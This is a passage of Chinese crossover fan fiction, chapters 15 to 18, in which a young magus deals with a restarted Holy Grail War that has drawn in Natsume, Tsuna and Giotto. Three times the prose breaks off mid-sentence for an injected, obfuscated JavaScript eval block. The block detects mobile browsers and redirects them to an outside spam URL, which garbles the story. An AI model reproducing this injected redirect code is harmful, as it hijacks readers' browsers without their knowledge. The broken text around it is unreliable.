真是万万没想到,在这条修改的世界线上,他居然还做过几年千手一树啊! 15.第十五章 “那是当然的啊。”对于一树的感叹,九喇嘛是这么说的。“要不是怕把你祖父气死,秀幸差点就跟着梨纱改姓千手了,何况是你们俩。” “知道他俩感情还是那么要好,我就心满意足了。”一树自我安慰的说道。事实上,从他的记忆来看,父母打从回到家族以后,日子就不太好过了,他俩居然能坚持到自己十五岁才卷了妹妹离开家,真是对他爱得深沉啊。 哎,家里没人的时候觉得寂寞,人一多又觉得处处是麻烦,果然事事不能万全,这也算是某种甜蜜的烦恼吧。 至于那位所谓的“老师”……从新增的记忆来看,家族自诅咒事件以后便吸取了教训,加强了对后辈的相关“训练”,这位外表如婴儿般可爱的家庭教师既不是来教导他魔术的,对他的文化课也毫无帮助——他唯一的课程,居然是二十四小时不间断的暗杀一树,叫他身体力行的学会怎么规避风险! 回想起在Reborn老师手下度过的那些青葱日子,饶是一树身具木遁,攻防一体,也不由流泪满面——真是地狱一般的回忆啊!自己居然能从这么可怕的老师手下成功毕业,真是太好了。 不知道他新收的学生又是谁,话说回来,居然还有别家也和自家人的脑回路一样清奇吗?! 不过出于趋利避害的心理,他并不打算去见这位其实算是凭空出现的老师,因此很快就把此事抛之脑后,快乐的和三只尾兽一起泡温泉去了,至于后面温泉里,九喇嘛和守鹤怎么一言不合的打起来,最后把一池温泉直接变成了一池岩浆的,那就是另一回事了。 随后,一树总算过了两天既没有穿越、也没有被奇怪的人打扰的平常的日子。两天以后,他的手背上出现了一块鲜艳的红斑,这是圣杯战争中被圣杯选中、得到成为御主的资格的征兆,如果成功召唤英灵的话,这块红痕就会转变为可以命令从者的三划令咒,反之则会消失不见。 看来如之前梦中宇智波带土所说的那样,的确有人重启了大圣杯,不过因为他并不打算参与这次圣杯战争,是以用魔术遮掩了手上的痕迹之后,他就当做什么也没发生了。 ——结果当天晚上,他就在一条小巷里遇到了扶着一个身着深蓝色长袍的美丽女性慢慢前行的夏目贵志。 “学长?”看到他,夏目有些惊喜的同他打了声招呼。与之相反的是,一树的双脚仿佛被寒冰冻在了地上,他看着那状似柔弱的女人抬起头,水蓝色的眼睛犀利的打量着自己,对方身上隐隐约约透出的魔力气息,分明就是—— “离他远点!”他猛地伸出手,把夏目拉到自己身后,后者还是第一次见他露出这样凶狠的表情来,不由微微一愣,随后小声问道:“她……她也是妖怪吗?” 因着遗传自祖母夏目玲子的强大灵力,他能看到世间一切妖怪鬼魅,但并不十分能清楚的分辨他们和人类之间的区别,小时候没少因此受到惊吓,但随着这几年和妖怪们的关系逐渐改变,如今倒是已经能够平和以对了。一树则是内心汗颜:要真的是妖怪,在九喇嘛的地盘上,他才没什么好紧张的呢,可英灵从者会出现在这里,就很奇怪了啊! 难道是她背后的魔术师图谋夏目手里的友人帐,才会把她派来接近夏目吗?但都有英灵在手了,再图谋友人帐里那些实力参差不齐的妖怪,不是显得很多此一举吗? 一树想不明白,干脆也直接问了,反正他不是参战选手,和从者背后的御主没什么利益之争,对方并没有隐瞒的必要。那仿若与夜色融为一体的魔女吃吃一笑,也爽快的回答了他的问题,只是她的答案,却让一树的脸色更加难看了。 她说:“你既然知道圣杯战争,那么就该知道,被召唤的我们,只要形影不离的跟随在御主身边,听从他的指挥不就是了,我难道不正在这么做吗?” 霎时间,一树感觉到一阵窒息的晕眩。他顾不得其他,先抓起夏目的右手看了看——在他的手背上,鲜红的令咒安静的铭刻着,仿佛一张嘲笑的鬼脸。 * “……事情就是这样了。” 一树垂头丧气的坐在夏目贵志的房间里,向他解释了圣杯战争的目的和规则:“为了得到圣杯,实现愿望,魔术师们会不惜代价的杀死对手,所以,卷进这个事情,实在是太危险了!” 因为夏目向他坦白,他只是从街上路过时,发现有位女士晕倒在了路边,把她叫醒以后,想要送她回家罢了,一树推断他并不是误入召唤阵召唤出了英灵,而是这位从者在杀死了一开始的召唤人以后,无意中遇到了夏目,出于某些恶毒的心理,把令咒转移到了他的身上……想到这里,他不由恶狠狠的瞪了不知名英灵一眼。 英灵微微笑着,毫无畏惧的和他对视,她在进入房间以后,就摘下了长袍的兜帽,露出一对精灵般的尖耳。白炽灯的灯光落到她浅蓝色的头发上,却像是星光一般盈盈闪亮着。 这是一位非常美丽,当然也非常危险的魔女,其现身的灵基是Caster。 “那么,这个圣杯战争,可以弃权吗?”夏目问道。他对于能许愿的杯子倒是没什么执念,只可惜,一树无奈的告诉他:“即使你主动弃权,那些家伙也不会相信的。毕竟,人类是多么擅长怀疑的生物,不用我说你也知道吧。” 你这个骗子—— 霎时间,一声厉喝的幻听跨越时空,仿若萦绕不去的阴影一般,响在夏目的耳侧。他微微垂着头,露出一个有些疼痛的表情来,低喃道:“啊,我明白……” “也不要只看到夺取圣杯的危险,而漠视得到圣杯的快乐啊。”魔女甜美的声音满是魅惑的响起,她歪着头,对两个年轻人笑着说道:“圣杯可是无论什么愿望,都能实现的许愿机哦,对于你们这些平凡的魔术师来说,不是很方便的东西吗?” “所以,你被召唤来此,是因为有需要圣杯才能实现的愿望吗?”夏目立刻反问道。 “诶?”对上他满是关切的琥珀色眼睛,魔女有一瞬间的怔忪。人类,充满贪欲的人类,不是应该第一时间被自己描述的愿景所蛊惑吗,为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14816095|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么他会在意从者的愿望呢? 但看他的眼神,却是真正切切的在关心自己……下意识的,魔女移开了目光,没有继续和他对视下去。“我当然有想要实现的愿望了……” “不好意思,打扰一下,但其实那个杯子还真没有那个功效呢。”一树面无表情的吐槽道。“因为实际上——上次圣杯战争,我就已经赢过圣杯了啊!几年前,那个东西就已经被此世全部之恶(安哥拉曼纽)污染了,即使许愿也只会以极为扭曲的形式实现,所以就算得到它,最后也只是笑话一场而已!” 魔女:“……” 魔女:“???” “夏目——”这个时候,随着呲啦一声推开窗户的声音,喝得醉醺醺的喵咪老师叼着酒瓶从窗外跳了进来。“你们在说什么圣杯,什么许愿机?……那我要更多的好酒!嗝!” “喂喂,你是什么沉迷酒精的大叔猫啊!”看到这样的猫咪老师,一树崩溃的抓了抓头发,随后猛的扑上去抓住了它,抬手就是一阵猛摇。“你不是夏目的保镖吗?怎么能扔下他跑去喝酒啊喂!都怪你,害他染上英灵了啦!” “老师!”看到猫咪老师这副模样,夏目本来还有些生气,但随着它被一树抓住,他又不由担心起来,连忙上前阻止。“好啦,学长,你也不要那么生气了……” 看到他们三个乱成一团,全然把自己忘在了一边,端坐在一旁的魔女有一瞬的茫然:她本来以为,突然出现在自己面前,拥有魔力的夏目是另一个心怀不轨,又故作纯良的魔术师,所以才会故意把无主的令咒转移到他的身上,但现在看来,她似乎是误会了? ……不,不,不管怎么伪装,世上又怎么会有人能抵挡住内心的欲望呢? 这样想着,魔女游移的内心一瞬间安定了下来。伴随着一阵美妙铃声的响起,一树一只手按着猫咪老师,一只手从外衣口袋里掏出手机,接通后放到耳边:“喂?” “师弟——”手机另一头,传来一个男人鬼哭狼嚎的声音。“救命啊——” “你谁啊?”此时心情十分不美妙的一树,说话的语气半点不客气。“我可没有什么师兄呢!” “什么,一树,你怎么能说出这么冷漠的话!”闻言,对方顿时哭的更惨了。“我是跳马迪诺啊,我和你可是有一起被Reborn特训过的情谊啊!” 哦,原来是这个师兄啊。一树在记忆里翻了翻,终于找出了这个和家庭教师一起凭空出现的师兄,意大利黑手党家族加百罗涅的少主,一个有部下在身边就万般靠谱、没有部下在身边,走路都会平地摔的搞笑男人。 “你有什么事?”他不耐烦的问道,一边还在心里思索,怎么直接从源头结束圣杯战争。 “我们的小师弟撞鬼了!上帝啊,你绝对不能想象,现在彭格列一世的鬼魂就在我们身边!”迪诺吱哇乱叫着说道。“Reborn让我问你,你知道圣杯战争和英灵召唤是怎么回事吗?” 一树:“……” 一树:“?” 16.第十六章 即使是多年后回想起来,这也是很令人难忘的一天。一树乘着风从窗户翻进沢田纲吉的房间时,房间的主人还缩在角落里瑟瑟发抖,而刚刚才给他打过电话的人躺倒在一边,不知道是左脚绊右脚摔晕了,还是鞭子勒住了脖子把自己勒晕了,只看得到一个金灿灿的后脑勺和挺翘的屁股。 ……好吧,他现在确信自己和迪诺确实有革命友情了。 撇开不靠谱的师兄不提,一树注意到屋子里有两张几乎算是一模一样的脸,只是一个是人类,瑟瑟发抖的缩在房间角落里,脸上满是恐惧与惊慌;一个则是英灵,神态淡然的坐在桌边,见他看过来,还礼节性的朝他点了点头。 看来,这位就是传说中的那位彭格列一世了。一树刚想开口,却有一个低沉的声音自耳边响起:“Ciaos!” 他转头看去,就见一个高大的男人站在窗边的阴影里,对方抬起头,露出帽檐下一截弯曲的鬓发和半张俊美非凡的脸,朝着一树微微勾起嘴角。 “Reborn!”一树条件反射的叫出了家庭教师的名字,同时也后知后觉的反应过来:自己居然和记忆里这位魔鬼教师感情还不错,看来记忆并不能完全说明一个人的情感。他因此停顿了一下,方才继续说道:“之前我一直以为,你不会有下一个学生了呢,真没想到……重拾家庭教师工作的感觉怎么样?” “比教你的那时候强些,虽然他和你之前一样爱哭,但比当年的你可好对付多了。”Reborn敏锐的察觉了他神态间的异常。“你遇到了什么麻烦了?之前和秀幸通话的时候,他可是对此一无所知,难道你连父母都没说?” “因为根本就是这两天发生的事啦,呜哇!这件事情等以后再说吧,先解决我家小师弟的麻烦好了。”一树一边嚎叫,一边十分心累的抹了把脸。和家庭教师关系好的影响,就是他对这个第一次见面的小师弟的责任心也增强了,毕竟爱屋及乌这种事,他也没法免俗啊。“你不给我介绍一下吗?” 他出身隐世的魔术师家族,对堪称另一个世界的黑手党自然是一无所知,Reborn语气平淡的同他介绍了缩在角落里的沢田纲吉,随后又介绍了桌旁的彭格列一世,着重强调了他们之间的亲缘关系。Giotto则是温和的补充了一些细节:实际上,沢田纲吉并不知道圣杯战争的事,也毫无召唤英灵的打算,他只是被Reborn拎去山上特训时,无意中踩入了魔术师留下的召唤阵而已。 “因为我一直在英灵座上注视着他,看他遇到麻烦,就连忙回应召唤了。”自黄泉彼岸重返现世的彭格列一世这样笑着说道:“我以Assassin的职介现身,并没有什么需要圣杯实现的心愿,只是想要保护他而已,如果你要参与圣杯战争的话,不必把我视作对手,甚至可以放心的驱使我。” 他虽然并没有在一树身上发现令咒,但这个时候出现在此地的魔术师,十有八九都是为此而来,因此干脆自己先坦白了态度。一树在他对面坐下,随手抓过桌子上的杯子给自己倒了杯茶:“真的吗?你生前居然没有任何——任何遗憾吗?要知道,圣杯可是能实现一切愿望的许愿机哦?” 失笑的Giotto当然并不知道,这句话在几分钟以前,才被另一位被召唤的英灵用来引诱夏目和一树,他只是注视着一树的眼睛,认真的回答道:“我生前当然有遗憾,甚至我能坦白说,有太多我想要挽回的遗憾了,但是孩子,万事万物都有代价,这种用虚无缥缈的愿望来引诱人们不惜生命的东西,未必会带来好结果,还是不要太过于相信它才好。” “好吧,看来,你是真的不太渴望圣杯……”一树没从他的神态中发现什么不对,因此长长的松了口气,原本挺直的肩膀也塌了下去。“太好了,那我就直说了……没错,一点错都没有,这个圣杯,其实根本就不能实现愿望啦!” 他又一次讲述了自己过往的经历,即几年以前,他是怎么在先祖的帮助下赢得圣杯,又是怎么阴差阳错的发现圣杯被此世全部之恶污染的。Giotto耐心的听完他的诉说,随后,他皱起眉,低声问道:“既然你当年已经把大圣杯拿走了,为什么现在它又出现在这片土地上,又被人启动了呢?” “那是,那是因为……”说到这个,一树有些心虚的移开了眼睛。“没能得到圣杯,Saber的御主在我回家的路上袭击了我,惹怒了我家萤大人,后来,发现圣杯不对劲以后,萤大人就把圣杯拿走了,说是要原样还给他们,我也不好质疑他的决定……” 言外之意,宇智波萤就是故意把有问题的圣杯还给对方,给他再次得到圣杯、实现愿望的希望,引诱他再次启动圣杯战争,最终却注定得不偿失,陷入绝望。想到这里,一树先还有些尴尬,但想想在场四个人全是黑手党,谁又没做过坏事呢,自己说不得还是所有人当中最正直的那个,他的心又安定下来,理直气壮的昂起了下巴。 ——然而,撇开迪诺和纲吉不谈,听了这样的话,第一杀手的脸上波澜不惊,黑手党教父的脸色却骤然沉了下去。 “你明明知道,圣杯战争会害人丧命的。”他用一种称不上多愤怒,却又满是威严,让人心口发沉的语气对一树说道。“听你的意思,你的长辈是为了你替你出气,才做出这样的事,但你应该明白,为了一时之气而害得无辜的人痛苦的死去,你与伤害你的人又有什么分别呢?” 一树哪里想得到,有一天自己会被黑手党指责残害无辜,脸上顿时浮现出极为古怪的表情来。不过,还没等他出声辩解,Re ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822956|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' born就先一步开口替他解释道:“一世,就如同九代目不能反驳您的决定一样,他做不了那位大魔法师的主。” 虽然他只见过宇智波萤一次,那就是在一树从他这里毕业以后,作为酬劳,这位大魔法师出手解除了他们几个彩虹之子身上的诅咒。这个困扰他们几十年的谜题,落在对方手里,却像是推倒一块积木一样简单。 那个拥有月亮般清冷的美丽的魔法师,拿着他们取下的奶嘴肆意把玩时,金色的傲慢眼瞳里,根本映不出任何人的倒影。 “唔,其实,我的另一位长辈说,会参与到这其中来的魔术师,死了才是好事。”一树斟酌着说道。“你明白的吧,在圣杯战争之中,他们会为了实现愿望而杀死彼此,没有圣杯,他们其实也会为实现自己的目的主动去伤害别人……算了,这些都不重要了,其实我也是真的没想到,已经有两个完全和这无关的人卷入进来了啊!!” 不管是夏目也好,纲吉也罢,除了有魔力以外,到底是什么地方被圣杯判定为有参加圣杯战争的资格啊! “我本来以为,把十二岁的我卷进来,已经是圣杯战争的下限了!”他重又变得愤怒起来,抱着胳膊说道:“但我毕竟一出生就是魔术师了,和什么年纪都没关系,也没什么好说的,但师弟就不一样了,难道我会随意介入你们黑手党的内部争斗吗?!” “如果你想的话,眼下正有个机会。”Reborn突然插话道。“阿纲正在争夺成为彭格烈十代的指环,我可以让家光在门外顾问给你挂个名,不需要每天打卡上班,只需要必要的时候帮帮你师弟就可以了。” “Reborn!”纲吉吓了一跳,终于忍不住开口说话了。“不要再随便拉人加入黑手党啦!” “有工资吗?”一树歪了歪头,反问道。 “你也是!不要为了工资就随意踏入危险啊喂!那可是黑手党啊!” “当然有,你干的好的话,阿纲的零花钱以后也一并给你了。”Reborn一本正经的说道,完全无视了纲吉骤然掉色,但敢怒不敢言的脸。恰在此时,迪诺也从昏迷中悠悠转醒,听到老师的话,他还没弄清楚发生了什么事,就吵着叫道:“什么啊,Reborn你太狡猾了,我也想要一树来加百罗涅啦!” “都行,在哪儿挂名不是挂。”完全不知道他们黑手党内部规矩的一树随口回答。世事就是那么奇妙,明明在一个小时以前,他还完全视这位家庭教师为无物,但是现在,他感觉自己已经能严丝合缝的融入这个家了。 “一般来说,刚得到一份新工作,就得展示一下自己的价值,我也不例外吧。”这样说道,一树站起身来,环视了一下乱糟糟的房间。 “阿纲,你这儿有画笔吗?” 17.第十七章 把蓝波和一平的蜡笔递给一树的时候,纲吉并没有想到,对方会踢开地上的杂物,用蜡笔在他房间的地板上画了一个巨大的魔法阵。 “啊啊啊!!……”看着满地繁杂的线条,他止不住的发出一阵惨叫,想要上前阻止,又在Reborn的枪口下立在了原地。“把地板画成这样,我会被妈妈骂的!……” “别担心,等会儿我会帮你把房间收拾好的。”画完魔法阵,一树扔开画笔,大步跨进了其中。随后,他解除了手上的伪装,如血般艳丽的红色便在他手背上蔓延开来,最后,他将手伸向前方,念出了召唤的词句。 伴随着魔术师的高声吟唱,魔力化为飓风,将他连同整个魔法阵一起裹入了其中,遮住了在场所有人的视线。纲吉想起之前自己误入魔法阵之后整个图腾上骤然燃起的火焰,有些提心吊胆的想着,幸好他召唤的反应和自己不同;然而更不同的是,等到风逐渐散去以后,出现在人们眼前的,是四道身影—— “……不是。”心满意足被后辈召唤出来的五代目火影宇智波带土,本该露出洋洋得意的大笑,然而此时此刻浮现在他脸上的,却是一个十分不爽的表情。 “一树,为什么每次你召唤我,我的职介都那么奇怪啊,以Lancer的职介现身是正常的吗?我什么时候用过枪当武器啦?!” “其实木遁说是枪,也不是不可以嘛。”与他一同现身的旗木卡卡西如是说道。带土想了想,勉强认可了伴侣的说法:“好吧,那这次就不和你计较了。” 下一秒,他就被扑过来的一树抱了个满怀。又一次成为御主的少年吸了吸鼻子,忍了又忍,但终于还是忍不住大哭出声:“呜哇,带土大人,我太倒霉了啦!” * 带土不得不花了一段时间来哄劝抱着他哭个没完的小御主。 这没道理啊!他百忙之中,还抽空对着伴侣挤眉弄眼了一番。明明一树都成年了,为什么和七年前一样,他出来干的第一件事还是带孩子,这科学吗? “哈……”和他对视过后,不知道想到了什么,已经施施然坐下喝茶的卡卡西轻笑了一声,别开了头。然而,他的任何一个小动作都逃不过和他一起长大的带土的眼睛,五代火影立刻意识到,卡卡西是在嘲笑他和一树一样,成年后还是一样爱哭,瞬间两眼冒火:好你个笨卡卡,不来帮忙就算了,还来落井下石是吧! 他很想冲过去跟丈夫理论,奈何一树的双手跟铁箍一样套在他的腰间,他又不好强行挣脱,只得忍着内伤继续哄他:“好啦,我不是来了嘛,有任何麻烦,带土大人都会帮你解决的啦!” ——才怪呢,其实他单纯就是想来现代玩的,什么圣杯战争,或者少年一树之烦恼什么的,他才不在乎呢! 然而,当一树哭够了,终于能松开手,抬起头看向他的时候,带土瞬间就被那双水汪汪的蔚蓝色大眼睛击中了。比起小时候那张圆得跟苹果似的脸蛋,现在的他从左边看着像佐助,从右边看着像泉奈,眼睛看着像鸣人,整体又和面麻一个模子刻出来似的,还会露出以上四个人都不会流露的可怜的表情,以一代四,即使是带土,也不禁有些飘飘然的抬起手,怜爱的摸了摸他的头顶。 “对不起带土大人。”和小时候一样,一树的情绪来得快去得也快,被长辈安慰之后,他的心情立刻稳定了下来,有些不好意思的对带土说道。“我刚才,就是太难过了。” “没关系,没关系。”带土还处在被他可怜可爱的小脸蛊惑的情绪里,不由柔声哄道:“我们家一树想要做什么都可以啊,毕竟你最可爱了!” “哼!”两声冷哼同时响在带土耳侧。一声悠长幽怨,来自英灵座,是他的长子宇智波神代在闹脾气。另一声则是近在咫尺,来自一树召唤出的最后一位英灵从者。 神代发脾气什么的,带土就当自己没听见了,毕竟他虽然是自己的亲儿子,但和这个麻烦鬼比起来,一树简直是天使宝宝,更应该得到家长优待。但是后者……他若无其事的转过头看了一眼,随即对上了一双冰冷的蓝紫色眼睛。 “一树,原来你真的能召唤出咱们家以外的英灵啊!”带土脱口而出。七年前的那场圣杯战争,一树用家传的圣遗物召唤了三位从者,分别是千手扉间(Caster),漩涡鸣人(Saber)和宇智波佐助(Archer),加上他的监护人、一直寄宿在他体内的九尾,是以哪怕当时的他还是朵从小生长在温室里,没经历过任何风吹雨打的娇花,也不费吹灰之力的取得了最后的胜利,得到了圣杯。 也是当年他做得太过分,赢了不说,还把启动的大圣杯也给强行带走了,让失败的参与者、“魔术师杀手”卫宫切嗣感觉到了深深的绝望,此人才会在他回家路上刺杀他——当然,这种头脑发热的行为并没有给他带来任何好处,反而给他带来了极为可怕的后果。毕竟,跟动不动就和世界为敌的宇智波家讲道理,这才是最没道理的事吧! “啊,散兵,是你啊。”一树也跟着转过头去,看到了一张熟悉的漂亮的脸。这一次相见,人偶换了一身行动更便利的修验者的装束,那枚薄荷绿的玻璃珠被他当做装饰一般挂在胸前,正微微闪着光。“真没想到,我们这么快就又见面了,不过,你上次说的那些话,我还没想明白……” “先不说这个。”散兵双手抱肩,不悦的盯着带土搂着一树肩膀的手臂,察觉到他的视线,对方不仅没有松开手,还故作挑衅的把一树往自己怀里带了带,他不由深吸了一口气,声音又冷了两个度:“不过几天不见,你就退化成了不能自理的婴儿了吗?这么大的人了,遇到事情还只会抱着人哭,真是丢脸死了。” “哦?真的是因为丢脸吗?”带土意味深长的说道。多么熟悉的感觉啊,仿佛回到了当年佐助和鸣人你追我赶、鸡同鸭讲的时间呢。 一树则显得颇为不以为然——他在撒娇这方面一直都很厚脸皮,完全不在乎旁观的外人的反应,这也是家里两位充满溺爱的父母寄予他的爱的自信了。 “那是你不知道这两天发生了多少事……”他擦了擦脸上的眼泪,还带着哭腔说道,红红的鼻头衬着雪白的皮肤,更有一种令人怜爱的美丽。“算了,那都不重要了。总而言之,我现在正需要你的帮助!来的是你也是好事,这样,我就不用担心和从者处不好关系了。” “他是你的朋友?”带土问道,拍拍一树的肩膀,示意他自己站好。一树顺势站直身体,随口回答:“之前穿越的时候,多亏了有他的帮忙,我才能顺利解决麻烦。” “是这样啊,那还要多谢你在另一个世界照顾我们家一树了。”听到这样的回答,带土的笑容倒是真挚了许多。“难得你能通过这种形式来到我们的世界,别太把什么圣杯战争放在心上,这段时间,不妨和一树好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826625|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好玩吧。” 有趣的是,对方明明刚刚还在因为一树对他撒娇生气,但当他以一树家长的身份说出以上发言以后,散兵的眼睛却猛地瞪大了。尽管他立刻转过头,按下了头上的斗笠,带土还是看到他秀美的脸上一闪而过的不自在。“没什么……我也只是把他自己的东西还给他了而已。” “什么东西?”带土下意识的问道。但这个时候,一树却突然跳起来,打断了他们之间的对话:“啊啊,既然人已经到齐了,那我们就出发吧。我已经迫不及待要解决这次的事情了!” 真是的,心虚都快化作实质了。带土一时觉得好笑。一树并不是那种有很多心事的孩子,不如说他最近一直耿耿于怀的应该只有一件事,不过看在他的左眼好好回到了他的眼眶,而之前被他拿来充数的玻璃珠已经回到了主人身上的份上,自己还是不多计较他们之间的那些暗潮涌动了。 “你已经想好了先对付哪个从者了吗?”他配合着转移了话题,但一树摇了摇头,直白的对他说道:“既然我已经参与了,那这场圣杯战争已经没有任何公平可言了,何必要按照他们的规矩来?不管是爱因兹贝伦也好,远坂也罢,还没资格对我指指点点。等会儿我们先去见圣堂教会的监督,打探其他参与者的情报,然后带土大人陪我回家族一趟,我们尽快解决掉敌对的从者,等大圣杯启动以后,就把它处理掉吧!” 他说这句话的时候,语调十分平淡,好像扔掉一袋坏掉的垃圾一般理所当然。带土于是也微笑着点了点头,答道:“就按照你的意思来办吧。” “毕竟,被召唤了那么多次,我也终于能服从一次御主的命令了呢。”他调侃的说道,换来一树一个不满的瞪眼。 另一边,城郊的幽灵洋馆之中,巴泽特·弗拉加·马克雷密斯抬起手臂,准备念出召唤英灵的魔咒。 然而,她方才张开口,还没吐出半个音节,她手背上的红痕便已如同初雪融化一般,消失得干干净净! “这是怎么回事?”这位由魔术协会派遣来参与圣杯战争的年轻魔术师停下动作,十分诧异的朝着不远处的推荐者看了过去。荧荧烛火旁,言峰绮礼静静站着,一只手握着胸前的十字架,片刻之后,他轻轻叹了口气。 “抱歉,马克雷密斯小姐。”他沉声对友人说道。“刚才,已有七位英灵被召唤,如此,此次圣杯战争的七位御主,便已经到齐了。” “诶?!”巴泽特惊讶万分。其实,她本来打算提前一个星期赶到木叶,完成英灵的召唤,但因为路上遇到一些麻烦,耽误了几天,直到今天方才抵达。不过言峰绮礼到机场接到她时,告诉她还有两个英灵并未被召唤,不想准备好一切以后,就差了这么一步,就被其他魔术师抢先了。 既没能完成魔术协会发布的任务,也辜负了言峰绮礼特意向魔术协会举荐自己的好意,巴泽特万分羞愧,整张脸一下子涨得通红。但事已至此,时间终究不能倒流,她只能再三像言峰绮礼表达了自己的歉意,随后夺门而出,返回房间去联系魔术协会去了。 ——她并不知道,被她满心信任的推荐人,今夜来到此地,并非想要见证她的召唤,而是为了在她成功召唤出英灵以后,第一时间砍下她的手臂,夺走她的令咒。也不知道言峰绮礼望着天边的明月,默默想到:没能参与进这次圣杯战争,接下来他该做点什么,来让自己感觉到愉悦呢? 18.第十八章 在离开以前,一树依照之前的约定,用魔术除去了地上的魔法阵,顺便将屋子里的所有物品都重新整理了一番。纲吉只觉得一阵风过,再睁眼的时候,他最熟悉的房间简直变成了一个十分陌生的场所,干净的地板上没有一丝一毫的灰尘,各种物品整整齐齐的摆满了柜子,看得他目瞪口呆,在心里尖叫道—— 原来,他是真的会魔法啊! 这里难道不是现实世界,而是他的梦吗?黑手党本来已经够奇怪了,这个世界居然真的还有鬼魂和魔法师存在吗?! “老师,纲吉,过来一下,我有点事跟你们说。”朝着自己的从者们点了点头,示意他们看好Giotto之后,一树把两个人带到走廊上,教会了师弟令咒的使用方法。 “虽然,如果不是万不得已,不推荐你用令咒强行命令英灵哦!”他竖着手指对纲吉分享自己的经验:“能够成为英灵的,生前必然建立过一番伟业,就算是扉间大人那么好脾气的人,七年前我不过就是想了一下对他用令咒,然后就被打了。” “什么,英灵还有读心术的吗?!”纲吉崩溃了。他已经有了一个能随时读懂他的心的家庭教师,并不想再来一个可以随便窥探他内心的亡灵了! “并不是……是从者们,虽然他看起来正在青春鼎盛的时期,但实际上,他站在这里,就早就经历完一生了哦。”一树如是说到。“说是经验之谈也好,战斗意识也罢,总而言之,他可远比你有人生经验。要怎么和他相处,你要自己把握,不要过于疏远,但也不要太过靠近了。” 虽然现在的Giotto的确老神在在的没什么威胁,但是谨慎起见,一树也并没有完全相信他就是了。 毕竟—— “万一他的隐藏心愿其实是复活,那不就麻烦了吗?” “的确……”Reborn刚托着下巴回应了一句,纲吉就迫不及待的说道:“啊?那不是太好了吗?那他来当彭格列的首领,我就不用做黑手党了!” “诶?”他那种发自内心的高兴,引得一树十分诧异的看了他一眼。Reborn则是抬起手,列恩瞬间化作大锤,狠狠的砸向纲吉的后脑勺:“你在说什么傻话!彭格列十代!” 男孩发出一声惨叫,但他显然已经习惯Reborn的所作所为了,丝毫没有反抗的意思。一树的脸色逐渐由懵懂化为严肃,他看向自家老师,对他说道:“我能单独和阿纲聊聊吗?” “一树,我以前教过你,不要随意插手自己都不明白的事情吧……嘛,算了,你们要聊也可以,也许你们俩还挺有共同话题的呢,爱哭鬼。”Reborn淡定的说道。他朝着一树摆了摆手道别,随后便背着手,脚步轻快的离开了走廊。 虽然用脚趾头猜也知道,Reborn这个变态的家伙肯定在各个角落都装满了摄像头,但是他本人不在面前,毕竟不会给他的学生们带来太大的压力,一树直到目送他关好了门,这才转头对纲吉说道:“是Reborn要求你做彭格列十代的?” “我不知道啊!”纲吉抱着疼痛的头回答道。“就是有一天,他突然出现,说要成为我的家庭教师,把我培养成黑手党的老大……还把我的朋友全都卷进来了!” 不,不对。一树紧急翻看了一下自己的记忆,世界最强的杀手就算隶属于彭格列,下一任教父的人员也不可能由他来指定,做决定的应该是彭格列九代才对。他搞不清楚这背后存在的问题,只是在心里想到:恐怕被卷进来的那些人不是平白无故受到牵扯,而是一开始,就和纲吉一起被选中了。 “可是,我觉得Reborn很喜欢你哦,他当年对我和迪诺都不是这样的。”他最终只是说了自己能够肯定的那部分东西,简直能想象监控那一头Reborn被自己的话酸得倒牙的表情。纲吉看起来也完全不相信,但他还是好奇的问道:“既然你不是黑手党,为什么还会成为Reborn的学生呢?” 魔法师和杀手,听起来也完全是两个世界的人嘛! “哎,因为我虽然不是黑手党,但背后也有一个大家族呢……”一树默默抬头望天。“我亲爱的老爸当年为了和我妈结婚,直接离家出走入赘到我妈家去了,所以我是十岁才被接回家的,我家里的人觉得这样的我实在太软弱了,所以才请了Reborn来教我。” “啊……”纲吉有些诧异。他父亲沢田家光常年不在家里,只有妈妈沢田奈奈陪伴着他,直到最近才返回并盛,在此之前,他甚至以为对方早就过世了,和一树的家庭情况完全相反,这让他虽然嘴上不说,心里却隐约浮现出了些许羡慕的情绪:原来,也有爸爸会做出这样的选择,会陪在家人身边啊。 “如果你真的完全不想成为黑手党首领,那就再好好跟Reborn说说吧,虽然看起来很说一不二,但他其实并不是那种会强迫别人一定要做什么的人哦。”毕竟不听话直接杀了不就好了,不需要一次又一次的扭转对方的想法,这样做也是很累的。一树慢慢思考着说道:“如果这样他还是不肯答应,我觉得,恐怕是背后的彭格列出了什么问题,才会让他完全不给你选择的机会,那么,接下来只要解决了那个问题,再回归平常的生活就好了。甚至,你可以先成为彭格列十代,再卸任另外选定继承人嘛,那个时候你都是家族的老大了,难道还有人能质疑你的决定吗?” 